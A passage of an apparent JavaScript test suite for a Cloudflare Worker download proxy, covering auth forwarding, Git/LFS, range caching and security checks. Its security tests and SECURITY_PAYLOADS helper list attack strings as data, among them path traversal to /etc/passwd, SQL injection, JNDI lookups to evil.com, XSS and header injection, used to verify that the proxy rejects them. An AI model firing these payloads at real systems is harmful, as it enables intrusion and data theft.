Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken); expect(cacheDefault.match).not.toHaveBeenCalled(); expect(cacheDefault.put).not.toHaveBeenCalled(); expect(response.headers.get('Cache-Control')).toBe('private, no-store'); }); it('forwards Authorization for Hugging Face API passthrough requests', async () => { const authToken = 'Bearer hf_test_token_12345'; const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response('{}', { status: 200, headers: { 'Content-Type': 'application/json' } }) ); const response = await worker.fetch( new Request('https://example.com/hf/api/models/test-private-model', { method: 'GET', headers: { Authorization: authToken } }), {}, executionContext ); expect(response.status).toBe(200); expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken); expect(cacheDefault.match).not.toHaveBeenCalled(); expect(cacheDefault.put).not.toHaveBeenCalled(); }); it('forwards Authorization for authenticated PyPI index requests', async () => { const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU='; const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response(null, { status: 200, headers: { 'Content-Type': 'text/html; charset=utf-8' } }) ); const response = await worker.fetch( new Request('https://example.com/pypi/simple/private-package/', { method: 'HEAD', headers: { Authorization: authToken } }), {}, executionContext ); expect(response.status).toBe(200); expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken); expect(cacheDefault.match).not.toHaveBeenCalled(); expect(cacheDefault.put).not.toHaveBeenCalled(); expect(response.headers.get('Cache-Control')).toBe('no-store'); }); it('forwards Authorization for gated Hugging Face model downloads', async () => { const authToken = 'Bearer hf_authenticated_token'; const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue( new Response(null, { status: 200, headers: { 'Content-Type': 'application/json' } }) ); const response = await worker.fetch( new Request('https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json', { headers: { Authorization: authToken } }), {}, executionContext ); expect(response.status).toBe(200); expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken); expect(cacheDefault.match).not.toHaveBeenCalled(); expect(cacheDefault.put).not.toHaveBeenCalled(); expect(response.headers.get('Cache-Control')).toBe('private, no-store'); }); }); ================================================ FILE: test/features/git-lfs.test.js ================================================ import { SELF } from 'cloudflare:test'; import { describe, expect, it } from 'vitest'; describe('Git LFS Protocol Integration', () => { it('should handle LFS info/lfs requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/lfs'; const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)' } }); expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle LFS batch API requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/batch'; const response = await SELF.fetch(testUrl, { method: 'POST', headers: { 'Content-Type': 'application/vnd.git-lfs+json', Accept: 'application/vnd.git-lfs+json', 'User-Agent': 'git-lfs/3.0.0' }, body: JSON.stringify({ operation: 'download', objects: [ { oid: 'a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd', size: 1024 } ] }) }); expect([200, 301, 302, 400, 403, 404]).toContain(response.status); }); it('should handle LFS object download requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd'; const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git-lfs/3.0.0', Accept: 'application/octet-stream' } }); expect([200, 301, 302, 403, 404]).toContain(response.status); }); it('should preserve LFS-specific headers', async () => { const testUrl = 'https://example.com/gh/test/repo.git/objects/batch'; const response = await SELF.fetch(testUrl, { method: 'POST', headers: { 'User-Agent': 'git-lfs/3.0.0', Accept: 'application/vnd.git-lfs+json', 'Content-Type': 'application/vnd.git-lfs+json' }, body: '{}' }); // Should not reject LFS-specific headers expect(response.status).not.toBe(400); }); it('should skip caching for LFS requests', async () => { const testUrl = 'https://example.com/gh/test/repo.git/info/lfs'; // First request const response1 = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git-lfs/3.0.0' } }); // Second request - should not be cached const response2 = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git-lfs/3.0.0' } }); // Both requests should go to origin (no cache hit) const metrics1 = response1.headers.get('X-Performance-Metrics'); const metrics2 = response2.headers.get('X-Performance-Metrics'); // Verify that neither indicates a cache hit if (metrics1 && metrics2) { expect(metrics1).not.toContain('cache_hit'); expect(metrics2).not.toContain('cache_hit'); } }); }); ================================================ FILE: test/features/git.test.js ================================================ import { SELF } from 'cloudflare:test'; import { describe, expect, it } from 'vitest'; describe('Git Protocol Integration', () => { it('should handle Git info/refs requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack'; const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git/2.34.1' } }); expect([200, 301, 302, 404]).toContain(response.status); }); it('should handle Git upload-pack requests', async () => { const testUrl = 'https://example.com/gh/microsoft/vscode.git/git-upload-pack'; const response = await SELF.fetch(testUrl, { method: 'POST', headers: { 'Content-Type': 'application/x-git-upload-pack-request', 'User-Agent': 'git/2.34.1' }, body: '0000' // Minimal Git protocol data }); expect([200, 301, 302, 400, 404]).toContain(response.status); }); it('should preserve Git-specific headers', async () => { const testUrl = 'https://example.com/gh/test/repo.git/info/refs'; const response = await SELF.fetch(testUrl, { headers: { 'User-Agent': 'git/2.34.1', 'Git-Protocol': 'version=2' } }); // Should not reject Git-specific headers expect(response.status).not.toBe(400); }); }); ================================================ FILE: test/features/performance.test.js ================================================ import { beforeEach, describe, expect, it, vi } from 'vitest'; // Mock PerformanceMonitor class for testing class MockPerformanceMonitor { constructor() { this.startTime = Date.now(); this.marks = new Map(); } /** * Mark a performance measurement * @param {string} name - Name of the mark */ mark(name) { if (this.marks.has(name)) { console.warn(`Mark with name ${name} already exists.`); } this.marks.set(name, Date.now() - this.startTime); } getMetrics() { return Object.fromEntries(this.marks.entries()); } } describe('Performance Monitoring', () => { /** @type {MockPerformanceMonitor} */ let monitor; beforeEach(() => { monitor = new MockPerformanceMonitor(); }); describe('PerformanceMonitor Class', () => { it('should initialize with start time', () => { expect(monitor.startTime).toBeDefined(); expect(typeof monitor.startTime).toBe('number'); }); it('should create timing marks', () => { monitor.mark('test-mark'); const metrics = monitor.getMetrics(); expect(metrics).toHaveProperty('test-mark'); expect(typeof metrics['test-mark']).toBe('number'); }); it('should handle multiple marks', () => { monitor.mark('mark1'); monitor.mark('mark2'); monitor.mark('mark3'); const metrics = monitor.getMetrics(); expect(Object.keys(metrics)).toHaveLength(3); expect(metrics).toHaveProperty('mark1'); expect(metrics).toHaveProperty('mark2'); expect(metrics).toHaveProperty('mark3'); }); it('should warn on duplicate mark names', () => { // Mock console.warn for this test const originalWarn = console.warn; const mockWarn = vi.fn(); console.warn = mockWarn; monitor.mark('duplicate'); monitor.mark('duplicate'); expect(mockWarn).toHaveBeenCalledWith('Mark with name duplicate already exists.'); // Restore original console.warn console.warn = originalWarn; }); it('should return metrics as plain object', () => { monitor.mark('test'); const metrics = monitor.getMetrics(); expect(metrics).toBeTypeOf('object'); expect(Array.isArray(metrics)).toBe(false); }); it('should track elapsed time correctly', async () => { monitor.mark('start'); // Wait a small amount of time await new Promise(resolve => setTimeout(resolve, 10)); monitor.mark('end'); const metrics = monitor.getMetrics(); expect(metrics.end).toBeGreaterThan(metrics.start); }); }); describe('Performance Metrics Validation', () => { it('should produce serializable metrics', () => { monitor.mark('request-start'); monitor.mark('proxy-start'); monitor.mark('proxy-end'); monitor.mark('request-end'); const metrics = monitor.getMetrics(); expect(() => JSON.stringify(metrics)).not.toThrow(); }); it('should have reasonable timing values', () => { monitor.mark('test-mark'); const metrics = monitor.getMetrics(); const timing = metrics['test-mark']; // Should be a positive number and reasonable (less than 1 second for this test) expect(timing).toBeGreaterThanOrEqual(0); expect(timing).toBeLessThan(1000); }); it('should maintain chronological order', async () => { monitor.mark('first'); await new Promise(resolve => setTimeout(resolve, 5)); monitor.mark('second'); await new Promise(resolve => setTimeout(resolve, 5)); monitor.mark('third'); const metrics = monitor.getMetrics(); expect(metrics.first).toBeLessThan(metrics.second); expect(metrics.second).toBeLessThan(metrics.third); }); }); describe('Common Performance Scenarios', () => { it('should track request lifecycle', () => { // Simulate typical request flow monitor.mark('request-received'); monitor.mark('validation-complete'); monitor.mark('proxy-start'); monitor.mark('proxy-response'); monitor.mark('response-sent'); const metrics = monitor.getMetrics(); expect(metrics).toHaveProperty('request-received'); expect(metrics).toHaveProperty('validation-complete'); expect(metrics).toHaveProperty('proxy-start'); expect(metrics).toHaveProperty('proxy-response'); expect(metrics).toHaveProperty('response-sent'); }); it('should track cache operations', () => { monitor.mark('cache-check-start'); monitor.mark('cache-miss'); monitor.mark('upstream-request'); monitor.mark('cache-store'); const metrics = monitor.getMetrics(); expect(metrics).toHaveProperty('cache-check-start'); expect(metrics).toHaveProperty('cache-miss'); expect(metrics).toHaveProperty('upstream-request'); expect(metrics).toHaveProperty('cache-store'); }); it('should track error scenarios', () => { monitor.mark('request-start'); monitor.mark('error-occurred'); monitor.mark('error-handled'); const metrics = monitor.getMetrics(); expect(metrics).toHaveProperty('request-start'); expect(metrics).toHaveProperty('error-occurred'); expect(metrics).toHaveProperty('error-handled'); }); }); describe('Performance Thresholds', () => { it('should identify slow operations', () => { monitor.mark('operation-start'); // Simulate slow operation const slowTiming = 5000; // 5 seconds monitor.marks.set('operation-end', slowTiming); const metrics = monitor.getMetrics(); const operationTime = metrics['operation-end'] - (metrics['operation-start'] || 0); // Should identify as slow (> 1 second) expect(operationTime).toBeGreaterThan(1000); }); it('should identify fast operations', () => { monitor.mark('fast-operation'); const metrics = monitor.getMetrics(); const timing = metrics['fast-operation']; // Should be fast (< 100ms for this test) expect(timing).toBeLessThan(100); }); }); describe('Memory and Resource Usage', () => { it('should not leak memory with many marks', () => { const initialSize = monitor.marks.size; // Add many marks for (let i = 0; i < 1000; i++) { monitor.mark(`mark-${i}`); } expect(monitor.marks.size).toBe(initialSize + 1000); // Clear marks (if such method existed) monitor.marks.clear(); expect(monitor.marks.size).toBe(0); }); it('should handle concurrent mark operations', () => { const promises = []; for (let i = 0; i < 10; i++) { promises.push( new Promise((/** @type {(value?: unknown) => void} */ resolve) => { setTimeout(() => { monitor.mark(`concurrent-${i}`); resolve(); }, Math.random() * 10); }) ); } return Promise.all(promises).then(() => { const metrics = monitor.getMetrics(); expect(Object.keys(metrics)).toHaveLength(10); }); }); }); }); ================================================ FILE: test/features/range-cache.test.js ================================================ import { SELF } from 'cloudflare:test'; import { describe, expect, it } from 'vitest'; /** * Tests for Range Request Caching Strategy * * This test suite validates the new caching strategy that: * 1. Only caches 200 responses (not 206) * 2. Handles Range requests by caching full content first * 3. Lets Cloudflare edge serve 206 responses from cached 200 content * 4. Avoids compression for media files to ensure proper Range support */ describe('Range Request Caching Strategy', () => { describe('Cache Behavior for Range Requests', () => { it('should not attempt to cache 206 responses', async () => { const testUrl = 'https://example.com/gh/test/repo/sample.pdf'; // Make a range request that might return 206 const response = await SELF.fetch(testUrl, { headers: { Range: 'bytes=0-1023' } }); // The response should either be 200 (full content) or 206 (partial) // But we should never get a cache error from trying to cache 206 expect([200, 206, 404]).toContain(response.status); // Check performance metrics for any cache-related errors const metrics = response.headers.get('X-Performance-Metrics'); if (metrics) { const parsedMetrics = JSON.parse(metrics); // Should not contain any cache put errors const errorKeys = Object.keys(parsedMetrics).filter( key => (key.includes('error') || key.includes('fail')) && key !== 'client_error' ); expect(errorKeys).toHaveLength(0); } }); it('should cache full content when receiving 200 response', async () => { const testUrl = 'https://example.com/gh/test/repo/document.pdf'; // First request - should cache the full content const firstResponse = await SELF.fetch(testUrl); if (firstResponse.status === 200) { // Verify caching headers are set correctly expect(firstResponse.headers.get('Cache-Control')).toContain('public'); expect(firstResponse.headers.get('Accept-Ranges')).toBe('bytes'); // Second request should hit cache const secondResponse = await SELF.fetch(testUrl); expect(secondResponse.status).toBe(200); // Performance metrics should show cache hit const metrics = secondResponse.headers.get('X-Performance-Metrics'); if (metrics) { const parsedMetrics = JSON.parse(metrics); expect(parsedMetrics).toHaveProperty('cache_hit'); } } }); it('should handle range requests after caching full content', async () => { const testUrl = 'https://example.com/gh/test/repo/large-file.bin'; // First, cache the full content const fullResponse = await SELF.fetch(testUrl); if (fullResponse.status === 200) { // Now make a range request - should leverage cached content const rangeResponse = await SELF.fetch(testUrl, { headers: { Range: 'bytes=100-199' } }); // Should either return the requested range or full content expect([200, 206]).toContain(rangeResponse.status); if (rangeResponse.status === 206) { expect(rangeResponse.headers.get('Content-Range')).toBeTruthy(); expect(rangeResponse.headers.get('Content-Length')).toBe('100'); } } }); }); describe('Media File Handling', () => { it('should avoid compression for media files', async () => { const mediaTestCases = [ { url: 'https://example.com/gh/test/repo/video.mp4', type: 'video' }, { url: 'https://example.com/gh/test/repo/audio.mp3', type: 'audio' }, { url: 'https://example.com/gh/test/repo/image.png', type: 'image' }, { url: 'https://example.com/gh/test/repo/archive.zip', type: 'archive' } ]; for (const testCase of mediaTestCases) { const response = await SELF.fetch(testCase.url, { method: 'HEAD' }); if (response.status === 200) { // Media files should have proper range support headers expect(response.headers.get('Accept-Ranges')).toBe('bytes'); // Should not be compressed to ensure proper byte-range handling const contentEncoding = response.headers.get('Content-Encoding'); if (contentEncoding) { expect(['identity', null]).toContain(contentEncoding); } } } }); it('should send identity encoding for range requests on media files', async () => { const testUrl = 'https://example.com/gh/test/repo/large-video.mp4'; const response = await SELF.fetch(testUrl, { headers: { Range: 'bytes=0-1023' } }); // For media files with range requests, should not use compression if ([200, 206].includes(response.status)) { const contentEncoding = response.headers.get('Content-Encoding'); if (contentEncoding) { expect(['identity', null]).toContain(contentEncoding); } } }); }); describe('Cache Key Management', () => { it('should use correct cache keys for range vs full requests', async () => { const testUrl = 'https://example.com/gh/test/repo/test-document.pdf'; // Make a range request first const rangeResponse1 = await SELF.fetch(testUrl, { headers: { Range: 'bytes=0-512' } }); // Make a full request const fullResponse = await SELF.fetch(testUrl); // Make another range request const rangeResponse2 = await SELF.fetch(testUrl, { headers: { Range: 'bytes=512-1023' } }); // All requests should succeed [rangeResponse1, fullResponse, rangeResponse2].forEach(response => { expect([200, 206, 404]).toContain(response.status); }); // Full response should have caching headers if (fullResponse.status === 200) { expect(fullResponse.headers.get('Cache-Control')).toContain('public'); expect(fullResponse.headers.get('Accept-Ranges')).toBe('bytes'); } }); it('should handle Content-Length header properly', async () => { const testUrl = 'https://example.com/gh/test/repo/sized-file.bin'; const response = await SELF.fetch(testUrl); if (response.status === 200) { // Should have Content-Length for proper range support const contentLength = response.headers.get('Content-Length'); if (contentLength) { expect(parseInt(contentLength, 10)).toBeGreaterThan(0); } // Should have Accept-Ranges header expect(response.headers.get('Accept-Ranges')).toBe('bytes'); } }); }); describe('Performance Metrics', () => { it('should track cache performance for range requests', async () => { const testUrl = 'https://example.com/gh/test/repo/metrics-test.dat'; // First request const response1 = await SELF.fetch(testUrl); const metrics1 = response1.headers.get('X-Performance-Metrics'); if (response1.status === 200 && metrics1) { const parsed1 = JSON.parse(metrics1); expect(parsed1).toHaveProperty('start'); expect(parsed1).toHaveProperty('complete'); } // Second request (should hit cache) const response2 = await SELF.fetch(testUrl); const metrics2 = response2.headers.get('X-Performance-Metrics'); if (response2.status === 200 && metrics2) { const parsed2 = JSON.parse(metrics2); expect(parsed2).toHaveProperty('cache_hit'); } }); it('should track range-specific cache behavior', async () => { const testUrl = 'https://example.com/gh/test/repo/range-metrics.bin'; // Cache full content first await SELF.fetch(testUrl); // Now make a range request const rangeResponse = await SELF.fetch(testUrl, { headers: { Range: 'bytes=0-1023' } }); const metrics = rangeResponse.headers.get('X-Performance-Metrics'); if (metrics && [200, 206].includes(rangeResponse.status)) { const parsed = JSON.parse(metrics); // Should have timing information expect(parsed).toHaveProperty('start'); // May have cache-related metrics const cacheKeys = Object.keys(parsed).filter(key => key.includes('cache')); // At least one cache-related metric should be present expect(cacheKeys.length).toBeGreaterThanOrEqual(0); } }); }); }); ================================================ FILE: test/features/security.test.js ================================================ import { SELF } from 'cloudflare:test'; import { describe, expect, it } from 'vitest'; describe('Security Features', () => { describe('Security Headers', () => { it('should include Strict-Transport-Security header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); const hsts = response.headers.get('Strict-Transport-Security'); expect(hsts).toBeTruthy(); expect(hsts).toContain('max-age='); expect(hsts).toContain('includeSubDomains'); expect(hsts).toContain('preload'); }); it('should include X-Frame-Options header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); expect(response.headers.get('X-Frame-Options')).toBe('DENY'); }); it('should include X-XSS-Protection header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block'); }); it('should include Content-Security-Policy header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); const csp = response.headers.get('Content-Security-Policy'); expect(csp).toBeTruthy(); expect(csp).toContain("default-src 'none'"); }); it('should include Referrer-Policy header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin'); }); it('should include Permissions-Policy header', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt'); const permissionsPolicy = response.headers.get('Permissions-Policy'); expect(permissionsPolicy).toBeTruthy(); expect(permissionsPolicy).toContain('interest-cohort=()'); }); }); describe('HTTP Method Restrictions', () => { it('should reject PATCH method', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'PATCH' }); expect(response.status).toBe(405); }); it('should reject PUT method for non-Git requests', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', { method: 'PUT' }); expect(response.status).toBe(405); }); it('should reject DELETE method', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'DELETE' }); expect(response.status).toBe(405); }); it('should reject OPTIONS method', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'OPTIONS' }); expect(response.status).toBe(405); }); }); describe('Path Validation', () => { it('should reject paths with directory traversal attempts', async () => { const maliciousPaths = [ '/gh/../../../etc/passwd', '/gh/user/repo/../../../sensitive', '/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd', '/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' ]; for (const path of maliciousPaths) { const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD', redirect: 'manual' // Don't follow redirects }); // Some runtimes normalize plain `..` segments before the Worker sees them. // Encoded traversal should still be rejected. if (/%[0-9a-fA-F]{2}/.test(path)) { expect(response.status).toBe(400); } else { expect(response.status).not.toBe(500); } } }, 45000); it('should reject extremely long paths', async () => { const longPath = `/gh/${'a'.repeat(3000)}`; const response = await SELF.fetch(`https://example.com${longPath}`); expect(response.status).toBe(414); }); it('should handle URL encoding safely', async () => { const encodedPaths = [ '/gh/user/repo%20with%20spaces', '/gh/user/repo%2Ffile.txt', '/gh/user%40domain/repo' ]; for (const path of encodedPaths) { const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' }); // Should handle encoded paths without security issues expect(response.status).not.toBe(500); } }, 30000); }); describe('Input Sanitization', () => { it('should handle special characters in paths', async () => { const specialPaths = [ '/gh/user/repo', "/gh/user/repo'; DROP TABLE users; --", '/gh/user/repo${jndi:ldap://evil.com}', '/gh/user/repo{{7*7}}' ]; for (const path of specialPaths) { const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' }); // Should safely handle special characters expect(response.status).not.toBe(500); } }, 30000); it('should handle Unicode characters safely', async () => { const unicodePaths = [ '/gh/所有者/存储库/文件.txt', '/gh/user/repo/файл.txt', '/gh/user/repo/ファイル.txt' ]; for (const path of unicodePaths) { const response = await SELF.fetch(`https://example.com${path}`, { method: 'HEAD' }); // Should handle Unicode without issues expect(response.status).not.toBe(500); } }, 20000); }); describe('Request Header Validation', () => { it('should handle malicious User-Agent headers', async () => { const maliciousUserAgents = [ '', 'Mozilla/5.0 ${jndi:ldap://evil.com}' ]; for (const userAgent of maliciousUserAgents) { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'HEAD', headers: { 'User-Agent': userAgent } }); // Should handle malicious user agents safely expect(response.status).not.toBe(500); } }, 20000); it('should handle header injection attempts', async () => { // Malformed headers should be rejected before the request is dispatched. expect(() => { new Request('https://example.com/gh/test/repo', { headers: { 'X-Test': 'value\r\nX-Injected: malicious' } }); }).toThrow(/[Ii]nvalid|[Hh]eader/); }); }); describe('Rate Limiting and DoS Protection', () => { it('should handle concurrent requests gracefully', async () => { const requests = Array(10) .fill(null) .map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt')); const responses = await Promise.all(requests); // All requests should be handled without errors responses.forEach((/** @type {Response} */ response) => { expect(response.status).not.toBe(500); }); }, 30000); it('should timeout long-running requests', async () => { // This test would need to be implemented based on actual timeout behavior // For now, we just verify the request doesn't hang indefinitely const startTime = Date.now(); try { await SELF.fetch('https://example.com/gh/test/very-large-file', { signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout }); } catch { // Request should timeout or complete within reasonable time const elapsed = Date.now() - startTime; expect(elapsed).toBeLessThan(40000); // 40 seconds max } }, 45000); }); describe('Error Information Disclosure', () => { it('should not expose internal error details', async () => { const response = await SELF.fetch('https://example.com/invalid-platform/test', { redirect: 'manual' // Don't follow redirects }); // Should return error or redirect expect([400, 404, 302, 301]).toContain(response.status); if (response.status >= 400) { const body = await response.text(); // Should not expose internal paths, stack traces, or sensitive info expect(body).not.toMatch(/\/[a-zA-Z]:[\\/]/); // Windows paths expect(body).not.toMatch(/\/home\/[^/]+/); // Unix home paths expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages } }); it('should provide generic error messages', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'TRACE', redirect: 'manual' }); // Should return error or redirect expect([400, 404, 302, 301, 405, 501]).toContain(response.status); }); }); describe('CORS Security', () => { it('should handle CORS preflight requests securely', async () => { const response = await SELF.fetch('https://example.com/gh/test/repo', { method: 'OPTIONS', headers: { Origin: 'https://evil.com', 'Access-Control-Request-Method': 'GET', 'Access-Control-Request-Headers': 'X-Custom-Header' } }); // Should either reject OPTIONS or handle CORS securely if (response.status === 200) { const allowOrigin = response.headers.get('Access-Control-Allow-Origin'); // Should not blindly allow all origins for sensitive operations expect(allowOrigin).not.toBe('https://evil.com'); } }); }); describe('Content Type Security', () => { it('should not execute uploaded content', async () => { // Test that the service doesn't execute or interpret uploaded content const response = await SELF.fetch('https://example.com/gh/test/repo/script.js'); // Should serve content with appropriate headers, not execute it const contentType = response.headers.get('Content-Type'); if (contentType) { expect(contentType).not.toContain('text/html'); expect(contentType).not.toContain('application/javascript'); } }); }); }); ================================================ FILE: test/fixtures/responses.js ================================================ /** * Mock HTTP response fixtures for testing * Organized by platform with realistic response data */ export const MOCK_RESPONSES = { github: { packageJson: { status: 200, headers: { 'Content-Type': 'application/json', 'Cache-Control': 'max-age=300' }, body: JSON.stringify({ name: 'vscode', version: '1.85.0', description: 'Visual Studio Code' }) }, readme: { status: 200, headers: { 'Content-Type': 'text/plain; charset=utf-8' }, body: '# Visual Studio Code\n\nCode editing. Redefined.' }, gitInfoRefs: { status: 200, headers: { 'Content-Type': 'application/x-git-upload-pack-advertisement' }, body: '001e# service=git-upload-pack\n0000009144b8c8cf...' } }, npm: { packageMetadata: { status: 200, headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ name: 'react', version: '18.2.0', description: 'React is a JavaScript library for building user interfaces.' }) } }, pypi: { simpleIndex: { status: 200, headers: { 'Content-Type': 'text/html' }, body: 'Links for requests' } }, errors: { notFound: { status: 404, headers: { 'Content-Type': 'text/plain' }, body: 'Not Found' }, badRequest: { status: 400, headers: { 'Content-Type': 'text/plain' }, body: 'Bad Request' }, unauthorized: { status: 401, headers: { 'Content-Type': 'text/plain' }, body: 'Unauthorized' }, internalServerError: { status: 500, headers: { 'Content-Type': 'text/plain' }, body: 'Internal Server Error' } } }; /** * Create a Response object from mock data * @param {{body: string, status: number, headers?: Record}} mockData - Mock response data * @returns {Response} Response object */ export function createMockResponse(mockData) { return new Response(mockData.body, { status: mockData.status, headers: mockData.headers }); } ================================================ FILE: test/helpers/assertions.js ================================================ /** * Custom assertions and validation helpers */ /** * Validate response headers for security * @param {Response} response - Response to validate * @returns {{passed: boolean, missing: string[], present: string[]}} Validation results */ export function validateSecurityHeaders(response) { const requiredHeaders = [ 'Strict-Transport-Security', 'X-Frame-Options', 'X-XSS-Protection', 'Content-Security-Policy', 'Referrer-Policy' ]; const results = { passed: true, /** @type {string[]} */ missing: [], /** @type {string[]} */ present: [] }; requiredHeaders.forEach(header => { if (response.headers.has(header)) { results.present.push(header); } else { results.missing.push(header); results.passed = false; } }); return results; } /** * Assert that a URL is valid * @param {string} url - URL to validate * @returns {boolean} True if valid */ export function isValidUrl(url) { try { new URL(url); return true; } catch { return false; } } /** * Assert that response has security headers * @param {Response} response - Response to check * @returns {boolean} True if has all security headers */ export function hasSecurityHeaders(response) { const validation = validateSecurityHeaders(response); return validation.passed; } ================================================ FILE: test/helpers/generators.js ================================================ /** * Test data generators */ /** * Generate test URLs for different platforms * @param {string} platform - Platform identifier (gh, gl, hf, etc.) * @param {string} path - Resource path * @returns {string} Complete test URL */ export function generateTestUrl(platform, path) { const baseUrl = 'https://example.com'; return `${baseUrl}/${platform}/${path}`; } /** * Common test URLs for different platforms */ export const TEST_URLS = { github: { file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json', raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md', release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', git: 'https://example.com/gh/microsoft/vscode.git' }, gitlab: { file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json', raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md', archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', git: 'https://example.com/gl/gitlab-org/gitlab.git' }, huggingface: { model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json', dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json', file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin' }, npm: { package: 'https://example.com/npm/react', tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz', scoped: 'https://example.com/npm/@types/node', npmPackage: 'https://example.com/npm/npm', npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz' }, pypi: { simple: 'https://example.com/pypi/simple/requests/', package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl' }, conda: { main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda', community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json', repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json' } }; /** * Security test payloads */ export const SECURITY_PAYLOADS = { xss: [ '', `${'javascript'}:alert(1)`, '">', "';alert(1);//" ], pathTraversal: [ '../../../etc/passwd', '..%2F..%2F..%2Fetc%2Fpasswd', '..\\..\\..\\windows\\system32\\config\\sam', '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' ], injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'], headerInjection: [ 'value\r\nX-Injected: malicious', 'value\nX-Injected: malicious', 'value\r\n\r\n' ] }; /** * Test data generators */ export const TestDataGenerator = { /** * Generate random string * @param {number} length - String length * @returns {string} Random string */ randomString(length = 10) { const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; let result = ''; for (let i = 0; i < length; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; }, /** * Generate random GitHub repository path * @returns {string} Repository path */ githubRepo() { const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon']; const repos = ['vscode', 'react', 'angular', 'vue', 'node']; const user = users[Math.floor(Math.random() * users.length)]; const repo = repos[Math.floor(Math.random() * repos.length)]; return `${user}/${repo}`; }, /** * Generate random file path * @returns {string} File path */ filePath() { const dirs = ['src', 'lib', 'test', 'docs', 'config']; const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml']; const dir = dirs[Math.floor(Math.random() * dirs.length)]; const file = files[Math.floor(Math.random() * files.length)]; return `${dir}/${file}`; } }; ================================================ FILE: test/helpers/index.js ================================================ /** * Test helpers - centralized exports */ // Re-export all utilities export * from './assertions.js'; export * from './generators.js'; export * from './mocks.js'; /** * Performance test utilities */ export class PerformanceTestHelper { constructor() { /** @type {Array<{name: string, duration: number, timestamp: number}>} */ this.measurements = []; } /** * Measure execution time of an async function * @param {() => Promise} fn - Async function to measure * @param {string} name - Measurement name * @returns {Promise} Function result */ async measure(fn, name = 'operation') { const start = performance.now(); const result = await fn(); const end = performance.now(); this.measurements.push({ name, duration: end - start, timestamp: Date.now() }); return result; } /** * Get all measurements * @returns {Array<{name: string, duration: number, timestamp: number}>} Array of measurements */ getMeasurements() { return [...this.measurements]; } /** * Get average duration for a specific measurement name * @param {string} name - Measurement name * @returns {number} Average duration in milliseconds */ getAverageDuration(name) { const filtered = this.measurements.filter(m => m.name === name); if (filtered.length === 0) { return 0; } const total = filtered.reduce((sum, m) => sum + m.duration, 0); return total / filtered.length; } /** * Clear all measurements 